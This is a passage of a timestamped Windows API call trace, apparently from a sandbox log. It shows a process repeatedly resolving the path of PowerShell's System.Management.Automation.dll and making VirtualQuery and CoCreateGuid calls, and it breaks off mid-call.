[0058.062] GetLastError () returned 0x0 [0058.063] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.063] GetLastError () returned 0x0 [0058.063] VirtualQuery (in: lpAddress=0x25d150, lpBuffer=0x25e150, dwLength=0x1c | out: lpBuffer=0x25e150*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.063] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.063] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.064] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.065] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.065] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.065] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.065] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.065] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.066] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.066] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.066] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.066] VirtualQuery (in: lpAddress=0x25cf8c, lpBuffer=0x25df8c, dwLength=0x1c | out: lpBuffer=0x25df8c*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.067] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.067] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.068] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.068] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.068] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x926e2aef, Data2=0x6ee9, Data3=0x490c, Data4=([0]=0xb3, [1]=0x15, [2]=0xa5, [3]=0xf4, [4]=0x2c, [5]=0x0, [6]=0x83, [7]=0xbd))) returned 0x0 [0058.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.068] GetLastError () returned 0x0 [0058.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.068] GetLastError () returned 0x0 [0058.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.068] GetLastError () returned 0x0 [0058.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.068] GetLastError () returned 0x0 [0058.069] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.069] GetLastError () returned 0x0 [0058.069] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.069] GetLastError () returned 0x0 [0058.069] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x1f5e24e6, Data2=0x7665, Data3=0x4d5d, Data4=([0]=0x92, [1]=0xa5, [2]=0xb2, [3]=0x26, [4]=0x18, [5]=0x62, [6]=0xd4, [7]=0xc7))) returned 0x0 [0058.069] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.070] GetLastError () returned 0x0 [0058.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.070] GetLastError () returned 0x0 [0058.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.070] GetLastError () returned 0x0 [0058.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.070] GetLastError () returned 0x0 [0058.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.070] GetLastError () returned 0x0 [0058.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.070] GetLastError () returned 0x0 [0058.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.070] GetLastError () returned 0x0 [0058.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.070] GetLastError () returned 0x0 [0058.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.070] GetLastError () returned 0x0 [0058.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.071] GetLastError () returned 0x0 [0058.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.071] GetLastError () returned 0x0 [0058.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.071] GetLastError () returned 0x0 [0058.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.071] GetLastError () returned 0x0 [0058.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.071] GetLastError () returned 0x0 [0058.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.071] GetLastError () returned 0x0 [0058.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.071] GetLastError () returned 0x0 [0058.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.071] GetLastError () returned 0x0 [0058.071] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.071] GetLastError () returned 0x0 [0058.072] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.072] GetLastError () returned 0x0 [0058.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.072] GetLastError () returned 0x0 [0058.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.072] GetLastError () returned 0x0 [0058.072] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.072] VirtualQuery (in: lpAddress=0x25cd80, lpBuffer=0x25dd80, dwLength=0x1c | out: lpBuffer=0x25dd80*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d738, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.072] GetLastError () returned 0x0 [0058.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.072] GetLastError () returned 0x0 [0058.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.073] GetLastError () returned 0x0 [0058.073] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.073] VirtualQuery (in: lpAddress=0x25cd80, lpBuffer=0x25dd80, dwLength=0x1c | out: lpBuffer=0x25dd80*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d738, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.073] GetLastError () returned 0x0 [0058.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.073] GetLastError () returned 0x0 [0058.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.073] GetLastError () returned 0x0 [0058.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.073] GetLastError () returned 0x0 [0058.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.073] GetLastError () returned 0x0 [0058.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.073] GetLastError () returned 0x0 [0058.074] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.074] VirtualQuery (in: lpAddress=0x25cd80, lpBuffer=0x25dd80, dwLength=0x1c | out: lpBuffer=0x25dd80*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d738, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.074] GetLastError () returned 0x0 [0058.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.074] GetLastError () returned 0x0 [0058.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.074] GetLastError () returned 0x0 [0058.074] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.074] VirtualQuery (in: lpAddress=0x25cd80, lpBuffer=0x25dd80, dwLength=0x1c | out: lpBuffer=0x25dd80*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.074] GetLastError () returned 0x0 [0058.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.075] GetLastError () returned 0x0 [0058.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.075] GetLastError () returned 0x0 [0058.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.075] GetLastError () returned 0x0 [0058.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.075] GetLastError () returned 0x0 [0058.075] GetFullPathNameW (in: 